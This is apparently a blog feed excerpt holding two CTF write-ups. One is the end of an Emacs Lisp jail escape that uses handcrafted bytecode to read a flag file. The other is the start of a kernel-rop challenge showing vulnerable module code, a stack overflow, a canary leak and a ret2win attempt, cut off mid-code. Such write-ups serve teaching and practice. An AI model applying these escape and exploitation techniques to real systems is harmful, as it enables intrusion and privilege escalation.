</span></span><span style="display:flex;"><span>(<span style="color:#f78fe7">let*</span> ((<span style="color:#00d3d0">input</span> (<span style="color:#feacd0">read-string</span> <span style="color:#79a8ff">&#34;Input: &#34;</span>))
</span></span><span style="display:flex;"><span>       (<span style="color:#00d3d0">code</span> (<span style="color:#f78fe7">if</span> (<span style="color:#00d3d0">check</span> <span style="color:#00d3d0">input</span>)
</span></span><span style="display:flex;"><span>                 (<span style="color:#feacd0">car</span> (<span style="color:#feacd0">read-from-string</span> <span style="color:#00d3d0">input</span>))
</span></span><span style="display:flex;"><span>            (<span style="color:#00d3d0">panic</span> <span style="color:#79a8ff">&#34;no eval for you&#34;</span>))))
</span></span><span style="display:flex;"><span>  (<span style="color:#00d3d0">find-file-noselect</span> <span style="color:#79a8ff">&#34;./flag.txt&#34;</span>)
</span></span><span style="display:flex;"><span>  (<span style="color:#feacd0">mapcar</span>
</span></span><span style="display:flex;"><span>   (<span style="color:#f78fe7">lambda</span> (<span style="color:#00d3d0">sym</span>)
</span></span><span style="display:flex;"><span>       (<span style="color:#00d3d0">advice-add</span> <span style="color:#00d3d0">sym</span> <span style="color:#f78fe7">:before</span> (<span style="color:#f78fe7">lambda</span> (<span style="color:#b6a0ff">&amp;rest</span> <span style="color:#00d3d0">_</span>) (<span style="color:#00d3d0">panic</span> <span style="color:#79a8ff">&#34;no functional programming allowed: %s&#34;</span> (<span style="color:#feacd0">symbol-name</span> <span style="color:#00d3d0">sym</span>)))))
</span></span><span style="display:flex;"><span>   <span style="color:#00d3d0">&#39;</span>(<span style="color:#feacd0">buffer-size</span> <span style="color:#feacd0">following-char</span> <span style="color:#feacd0">preceding-char</span> <span style="color:#feacd0">char-after</span> <span style="color:#feacd0">char-before</span>
</span></span><span style="display:flex;"><span>     <span style="color:#feacd0">buffer-string</span> <span style="color:#feacd0">buffer-substring</span> <span style="color:#feacd0">buffer-substring-no-properties</span> <span style="color:#feacd0">compare-buffer-substrings</span> <span style="color:#feacd0">subst-char-in-region</span> <span style="color:#feacd0">delete-and-extract-region</span>
</span></span><span style="display:flex;"><span>     <span style="color:#feacd0">call-process</span> <span style="color:#feacd0">call-process-region</span> <span style="color:#feacd0">getenv-internal</span>
</span></span><span style="display:flex;"><span>     <span style="color:#feacd0">find-file-name-handler</span>
</span></span><span style="display:flex;"><span>     <span style="color:#feacd0">copy-file</span> <span style="color:#feacd0">rename-file</span> <span style="color:#feacd0">add-name-to-file</span> <span style="color:#feacd0">make-symbolic-link</span> <span style="color:#feacd0">access-file</span> <span style="color:#feacd0">insert-file-contents</span>))
</span></span><span style="display:flex;"><span>  (<span style="color:#f78fe7">unless</span> (<span style="color:#feacd0">functionp</span> <span style="color:#00d3d0">code</span>) (<span style="color:#00d3d0">panic</span> <span style="color:#79a8ff">&#34;only functional programming allowed&#34;</span>))
</span></span><span style="display:flex;"><span>  (<span style="color:#feacd0">message</span> (<span style="color:#feacd0">funcall</span> <span style="color:#00d3d0">code</span>))
</span></span><span style="display:flex;"><span>  (<span style="color:#feacd0">kill-emacs</span>))</span></span></code></pre></div>
</details>

<p><a id="code-snippet--emacsjail-revenge"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Diff</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span>Bonus round: revengeance
</span></span><span style="display:flex;"><span>--- a/challenge.el
</span></span><span style="display:flex;"><span>+++ b/challenge.el
</span></span><span style="display:flex;"><span>@@ -18,7 +18,9 @@
</span></span><span style="display:flex;"><span>    &#39;(buffer-size following-char preceding-char char-after char-before
</span></span><span style="display:flex;"><span>      buffer-string buffer-substring buffer-substring-no-properties compare-buffer-substrings subst-char-in-region delete-and-extract-region
</span></span><span style="display:flex;"><span>      call-process call-process-region getenv-internal
</span></span><span style="display:flex;"><span>+     set-process-plist make-process make-pipe-process make-serial-process make-network-process
</span></span><span style="display:flex;"><span>      find-file-name-handler
</span></span><span style="display:flex;"><span>+     set-buffer get-buffer get-buffer-create get-file-buffer get-truename-buffer other-buffer find-buffer buffer-local-value buffer-local-variables buffer-swap-text make-overlay
</span></span><span style="display:flex;"><span>      copy-file rename-file add-name-to-file make-symbolic-link access-file insert-file-contents))
</span></span><span style="display:flex;"><span>   (unless (functionp code) (panic &#34;only functional programming allowed&#34;))
</span></span><span style="display:flex;"><span>   (message (funcall code))
</span></span></code></pre></div>
</details>

<h2 id="solution">Solution</h2>
<p>So we&rsquo;re writing Lisp code without parens&hellip; a little cursed, but ok.
The first insight is that the read syntax for <a href="https://www.gnu.org/software/emacs/manual/html_node/elisp/Closure-Type.html" title="Emacs Lisp: (info \&#34;(elisp) Closure Type\&#34;)">closures</a> doesn&rsquo;t (necessarily) use any parentheses if we use bytecode.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Emacs Lisp</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-elisp" data-lang="elisp"><span style="display:flex;"><span>(<span style="color:#feacd0">format</span> <span style="color:#79a8ff">&#34;%s (%s check)\n%s (%s check)&#34;</span>
</span></span><span style="display:flex;"><span>        (<span style="color:#f78fe7">lambda</span> nil) (<span style="color:#f78fe7">if</span> (<span style="color:#00d3d0">check</span> (<span style="color:#feacd0">prin1-to-string</span> (<span style="color:#f78fe7">lambda</span> nil))) <span style="color:#79a8ff">&#34;passes&#34;</span> <span style="color:#79a8ff">&#34;fails&#34;</span>)
</span></span><span style="display:flex;"><span>        (<span style="color:#00d3d0">byte-compile</span> (<span style="color:#f78fe7">lambda</span> nil)) (<span style="color:#f78fe7">if</span> (<span style="color:#00d3d0">check</span> (<span style="color:#feacd0">prin1-to-string</span> (<span style="color:#00d3d0">byte-compile</span> (<span style="color:#f78fe7">lambda</span> nil)))) <span style="color:#79a8ff">&#34;passes&#34;</span> <span style="color:#79a8ff">&#34;fails&#34;</span>))</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>&#34;#[nil (nil) (t)] (fails check)
</span></span><span style="display:flex;"><span>#[0 \\300\\207 [nil] 1] (passes check)&#34;</span></span></code></pre></div>

<p>The second insight is that Emacs advice does not apply to functions which have dedicated opcodes in the Emacs Lisp bytecode interpreter.<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>
Naturally, this behaviour is documented in the Emacs manual.</p>
<blockquote>
<p>It is possible to advise a primitive (see <a href="https://www.gnu.org/software/emacs/manual/html_node/elisp/What-Is-a-Function.html" title="Emacs Lisp: (info \&#34;(elisp) What Is a Function\&#34;)">What Is a Function?</a>), but one should typically not do so, for two reasons. Firstly, some primitives are used by the advice mechanism, and advising them could cause an infinite recursion. Secondly, many primitives are called directly from C, and such calls ignore advice; hence, one ends up in a confusing situation where some calls (occurring from Lisp code) obey the advice and other calls (from C code) do not.</p></blockquote>
<p>There are two such functions, <kbd>set-buffer</kbd> and <kbd>buffer-substring</kbd>, that allow us to extricate the flag.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Emacs Lisp</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-elisp" data-lang="elisp"><span style="display:flex;"><span>(<span style="color:#f78fe7">defun</span> <span style="color:#00d3d0">disass</span> (<span style="color:#00d3d0">form</span>)
</span></span><span style="display:flex;"><span>  (<span style="color:#f78fe7">with-temp-buffer</span>
</span></span><span style="display:flex;"><span>    (<span style="color:#00d3d0">disassemble</span> (<span style="color:#00d3d0">byte-compile</span> <span style="color:#00d3d0">form</span>) (<span style="color:#feacd0">current-buffer</span>))
</span></span><span style="display:flex;"><span>    (<span style="color:#feacd0">buffer-string</span>)))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>(<span style="color:#00d3d0">disass</span> (<span style="color:#f78fe7">lambda</span> () (<span style="color:#feacd0">set-buffer</span> <span style="color:#79a8ff">&#34;*flag.txt*&#34;</span>) (<span style="color:#feacd0">buffer-substring</span> (<span style="color:#feacd0">point-min</span>) (<span style="color:#feacd0">point-max</span>))))</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>&#34;byte code:
</span></span><span style="display:flex;"><span>  args: nil
</span></span><span style="display:flex;"><span>0       constant  \&#34;*flag.txt*\&#34;
</span></span><span style="display:flex;"><span>1       set-buffer
</span></span><span style="display:flex;"><span>2       discard
</span></span><span style="display:flex;"><span>3       point-min
</span></span><span style="display:flex;"><span>4       point-max
</span></span><span style="display:flex;"><span>5       buffer-substring
</span></span><span style="display:flex;"><span>6       return
</span></span><span style="display:flex;"><span>&#34;</span></span></code></pre></div>

<p>(Note that <kbd>byte-compile</kbd> can behave strangely depending on your Emacs version and you might have to write the bytecode by hand, in which case the <a href="https://rocky.github.io/elisp-bytecode.pdf">Emacs Lisp Bytecode Reference Manual</a> is very useful.)</p>
<p>At least, that was the intended solve: as it turns out, I forgot to advise <a href="/writeups/emacsjail/#code-snippet--emacsjail-revenge">quite a few functions</a>.
Take for example the following solution:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Emacs Lisp</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-elisp" data-lang="elisp"><span style="display:flex;"><span>(<span style="color:#00d3d0">disass</span> (<span style="color:#feacd0">car</span> (<span style="color:#feacd0">read-from-string</span> <span style="color:#79a8ff">&#34;#[0 \&#34;\\300\\301!\\210\\305\\302\\303 \\304 \\\&#34;!\\207\&#34; [set-buffer \&#34;flag.txt\&#34; filter-buffer-substring point-min point-max message] 3]&#34;</span>)))</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>&#34;byte code:
</span></span><span style="display:flex;"><span>  args: nil
</span></span><span style="display:flex;"><span>0       constant  set-buffer
</span></span><span style="display:flex;"><span>1       constant  \&#34;flag.txt\&#34;
</span></span><span style="display:flex;"><span>2       call      1
</span></span><span style="display:flex;"><span>3       discard
</span></span><span style="display:flex;"><span>4       constant  message
</span></span><span style="display:flex;"><span>5       constant  filter-buffer-substring
</span></span><span style="display:flex;"><span>6       constant  point-min
</span></span><span style="display:flex;"><span>7       call      0
</span></span><span style="display:flex;"><span>8       constant  point-max
</span></span><span style="display:flex;"><span>9       call      0
</span></span><span style="display:flex;"><span>10      call      2
</span></span><span style="display:flex;"><span>11      call      1
</span></span><span style="display:flex;"><span>12      return
</span></span><span style="display:flex;"><span>&#34;</span></span></code></pre></div>

<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://nullprogram.com/blog/2013/01/22/">https://nullprogram.com/blog/2013/01/22/</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>]]></content>
    
  </entry>
  
  <entry>
    <title type="html"><![CDATA[kernel-rop (hxp CTF 2020)]]></title>
    <link href="https://feyor.sh/writeups/kernel-rop/"/>
    <id>https://feyor.sh/writeups/kernel-rop/</id>
    
    <author>
      <name>George Huebner</name>
    </author>
    
    <published>2025-07-25T00:00:00+00:00</published>
    <updated>2026-10-06T15:02:25-05:00</updated>
    
    
    <content type="html" xml:base="https://feyor.sh/writeups/kernel-rop/"><![CDATA[<p>This challenge was my first experience with kernel pwn, and I&rsquo;ve got to say it&rsquo;s a pretty good introduction!</p>
<h2 id="description">Description</h2>
<blockquote>
<p>Security is difficult, and defenses should be always taken with a grain of salt.
Who would win?
A buffer overflow or The Hottest Linux Defenses?
Flag is in <kbd>/dev/sda</kbd>.</p></blockquote>
<h3 id="files">Files</h3>
<ul>
<li><a href="https://2020.ctf.link/assets/files/kernel-rop-bf9c106d45917343.tar.xz">kernel-rop-bf9c106d45917343.tar.xz</a></li>
</ul>
<h2 id="solution">Solution</h2>
<p>We&rsquo;re given the kernel image <code>vmlinuz</code> and the <code>initramfs.cpio.gz</code>; let&rsquo;s see what we&rsquo;re working with:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>extract-vmlinux vmlinuz &gt; vmlinux
</span></span><span style="display:flex;"><span>file vmlinux</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), too many section (36140)</span></span></code></pre></div>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir -p initramfs; <span style="color:#f78fe7">cd</span> initramfs
</span></span><span style="display:flex;"><span>zcat ../initramfs.cpio.gz | cpio -id --quiet
</span></span><span style="display:flex;"><span>ls</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>bin
</span></span><span style="display:flex;"><span>etc
</span></span><span style="display:flex;"><span>hackme.ko
</span></span><span style="display:flex;"><span>init
</span></span><span style="display:flex;"><span>root
</span></span><span style="display:flex;"><span>sbin
</span></span><span style="display:flex;"><span>usr</span></span></code></pre></div>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>pwn checksec ./initramfs/hackme.ko 2&gt;&amp;<span style="color:#00bcff">1</span></span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[*] &#39;./initramfs/hackme.ko&#39;
</span></span><span style="display:flex;"><span>    Arch:       amd64-64-little
</span></span><span style="display:flex;"><span>    RELRO:      No RELRO
</span></span><span style="display:flex;"><span>    Stack:      Canary found
</span></span><span style="display:flex;"><span>    NX:         NX enabled
</span></span><span style="display:flex;"><span>    PIE:        No PIE (0x0)
</span></span><span style="display:flex;"><span>    Stripped:   No
</span></span><span style="display:flex;"><span>    Debuginfo:  Yes</span></span></code></pre></div>

<p>Let&rsquo;s load <code>hackme.ko</code> into IDA:</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#6ae4b9">ssize_t</span> <span style="color:#b6a0ff">__fastcall</span> <span style="color:#feacd0">hackme_read</span>(file <span style="color:#00d3d0">*</span>f, <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>data, <span style="color:#6ae4b9">size_t</span> size, <span style="color:#6ae4b9">loff_t</span> <span style="color:#00d3d0">*</span>off)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">unsigned</span> <span style="color:#b6a0ff">__int64</span> v4; <span style="color:#a8a8a8">// rdx
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>  <span style="color:#6ae4b9">unsigned</span> <span style="color:#b6a0ff">__int64</span> v5; <span style="color:#a8a8a8">// rbx
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>  <span style="color:#6ae4b9">bool</span> v6; <span style="color:#a8a8a8">// zf
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>  <span style="color:#6ae4b9">ssize_t</span> result; <span style="color:#a8a8a8">// rax
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>  <span style="color:#6ae4b9">int</span> tmp[<span style="color:#00bcff">32</span>]; <span style="color:#a8a8a8">// [rsp+0h] [rbp-A0h] BYREF
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>  <span style="color:#6ae4b9">unsigned</span> <span style="color:#b6a0ff">__int64</span> v9; <span style="color:#a8a8a8">// [rsp+80h] [rbp-20h]
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">_fentry__</span>(f, data);
</span></span><span style="display:flex;"><span>  v5 <span style="color:#00d3d0">=</span> v4;
</span></span><span style="display:flex;"><span>  v9 <span style="color:#00d3d0">=</span> <span style="color:#feacd0">__readgsqword</span>(<span style="color:#00bcff">0x28u</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">_memcpy</span>(hackme_buf, tmp);
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">if</span> ( v5 <span style="color:#00d3d0">&gt;</span> <span style="color:#00bcff">0x1000</span> )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">_warn_printk</span>(<span style="color:#79a8ff">&#34;Buffer overflow detected (%d &lt; %lu)!</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, <span style="color:#00bcff">4096</span>, v5);
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">BUG</span>();
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">_check_object_size</span>(hackme_buf, v5, <span style="color:#00bcff">1LL</span>);
</span></span><span style="display:flex;"><span>  v6 <span style="color:#00d3d0">=</span> <span style="color:#feacd0">copy_to_user</span>(data, hackme_buf, v5) <span style="color:#00d3d0">==</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>  result <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">-</span><span style="color:#00bcff">14LL</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">if</span> ( v6 )
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> v5;
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">return</span> result;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6ae4b9">ssize_t</span> <span style="color:#b6a0ff">__fastcall</span> <span style="color:#feacd0">hackme_write</span>(file <span style="color:#00d3d0">*</span>f, <span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>data, <span style="color:#6ae4b9">size_t</span> size, <span style="color:#6ae4b9">loff_t</span> <span style="color:#00d3d0">*</span>off)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">unsigned</span> <span style="color:#b6a0ff">__int64</span> v4; <span style="color:#a8a8a8">// rdx
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>  <span style="color:#6ae4b9">ssize_t</span> v5; <span style="color:#a8a8a8">// rbx
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>  <span style="color:#6ae4b9">int</span> tmp[<span style="color:#00bcff">32</span>]; <span style="color:#a8a8a8">// [rsp+0h] [rbp-A0h] BYREF
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>  <span style="color:#6ae4b9">unsigned</span> <span style="color:#b6a0ff">__int64</span> v8; <span style="color:#a8a8a8">// [rsp+80h] [rbp-20h]
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">_fentry__</span>(f, data, size, off);
</span></span><span style="display:flex;"><span>  v5 <span style="color:#00d3d0">=</span> v4;
</span></span><span style="display:flex;"><span>  v8 <span style="color:#00d3d0">=</span> <span style="color:#feacd0">__readgsqword</span>(<span style="color:#00bcff">0x28u</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">if</span> ( v4 <span style="color:#00d3d0">&gt;</span> <span style="color:#00bcff">0x1000</span> )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">_warn_printk</span>(<span style="color:#79a8ff">&#34;Buffer overflow detected (%d &lt; %lu)!</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, <span style="color:#00bcff">4096LL</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">BUG</span>();
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">_check_object_size</span>(hackme_buf, v4, <span style="color:#00bcff">0LL</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">if</span> ( <span style="color:#feacd0">copy_from_user</span>(hackme_buf, data, v5) )
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> <span style="color:#00d3d0">-</span><span style="color:#00bcff">14LL</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">_memcpy</span>(tmp, hackme_buf, v5);
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">return</span> v5;
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p>Ok, a kernel module that will happily <kbd>read</kbd>/<kbd>write</kbd> in way more than it&rsquo;s supposed to.</p>
<p>Let&rsquo;s check that we do indeed smash the stack:</p>
<p><a id="code-snippet--driver-testing"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> std <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@import</span>(<span style="color:#79a8ff">&#34;std&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">main</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> fd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/dev/hackme&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDWR }, <span style="color:#00bcff">0o660</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> std.posix.<span style="color:#feacd0">close</span>(fd);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">40</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> bytes_read <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">read</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">dumpHex</span>(buf[<span style="color:#00bcff">0</span>..bytes_read]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">write</span>(fd, <span style="color:#79a8ff">&#34;nil&#34;</span>);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>00007ffd2da7aa00  20 80 5F 07 80 88 FF FF  E0 0F 00 00 00 00 00 00   ._.............
</span></span><span style="display:flex;"><span>00007ffd2da7aa10  00 E6 F6 3F FF 6D FB F3  10 68 CA 06 80 88 FF FF  ...?.m...h......
</span></span><span style="display:flex;"><span>00007ffd2da7a9f0  68 FE 1B 00 00 C9 FF FF                           h.......
</span></span><span style="display:flex;"><span>[    1.539980] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: hackme_write+0xae/0xc0 [hackme]
</span></span><span style="display:flex;"><span>[    1.540395] CPU: 0 PID: 112 Comm: exploit Tainted: G           O      5.9.0-rc6+ #10
</span></span><span style="display:flex;"><span>[    1.540600] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014
</span></span><span style="display:flex;"><span>[    1.540865] Call Trace:
</span></span><span style="display:flex;"><span>[    1.541476]  dump_stack+0x74/0x92
</span></span><span style="display:flex;"><span>[    1.541560]  panic+0xfe/0x2e3
</span></span><span style="display:flex;"><span>[    1.541641]  ? hackme_write+0xae/0xc0 [hackme]
</span></span><span style="display:flex;"><span>[    1.541704]  __stack_chk_fail+0x14/0x20
</span></span><span style="display:flex;"><span>[    1.541757]  hackme_write+0xae/0xc0 [hackme]
</span></span><span style="display:flex;"><span>[    1.541840]  ? ksys_write+0xa7/0xe0
</span></span><span style="display:flex;"><span>[    1.541910]  ? exit_to_user_mode_prepare+0x31/0x180
</span></span><span style="display:flex;"><span>[    1.541975]  ? __x64_sys_write+0x1a/0x20
</span></span><span style="display:flex;"><span>[    1.542036]  ? do_syscall_64+0x37/0x80
</span></span><span style="display:flex;"><span>[    1.542111]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
</span></span><span style="display:flex;"><span>[    1.542666] Kernel Offset: disabled
</span></span><span style="display:flex;"><span>[    1.542945] Rebooting in 1 seconds..</span></span></code></pre></div>

<p>Sanity check complete.</p>
<p>Now let&rsquo;s leak that pesky stack canary!
According to IDA there&rsquo;s nothing below <kbd>int tmp[32]</kbd> on the stack (besides the frame pointer), so the offset should be 4 * 32 + 8.</p>
<blockquote>
<p><strong>Pro tip:</strong>
You can debug kernel modules under GDB by adding the offset of a particular function or instruction to the base address of said module, which can be found in  <kbd>/proc/modules</kbd>.</p></blockquote>
<p><a id="code-snippet--canary-leak"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">4</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">32</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">8</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>_ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">read</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>std.mem.<span style="color:#feacd0">reverse</span>(<span style="color:#6ae4b9">u8</span>, buf[buf.len<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>..]);
</span></span><span style="display:flex;"><span>std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;Stack canary is 0x{s}</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, .{std.fmt.<span style="color:#feacd0">bytesToHex</span>(buf[buf.len<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>..], .lower)});</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Stack canary is 0x1c55bfc54ff0b200</span></span></code></pre></div>

<p>Let&rsquo;s check if we can do a simple ret2win:</p>
<p><a id="code-snippet--ret2win"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> tmp_size <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#6ae4b9">i32</span>) <span style="color:#00d3d0">*</span> <span style="color:#00bcff">32</span>;
</span></span><span style="display:flex;"><span>
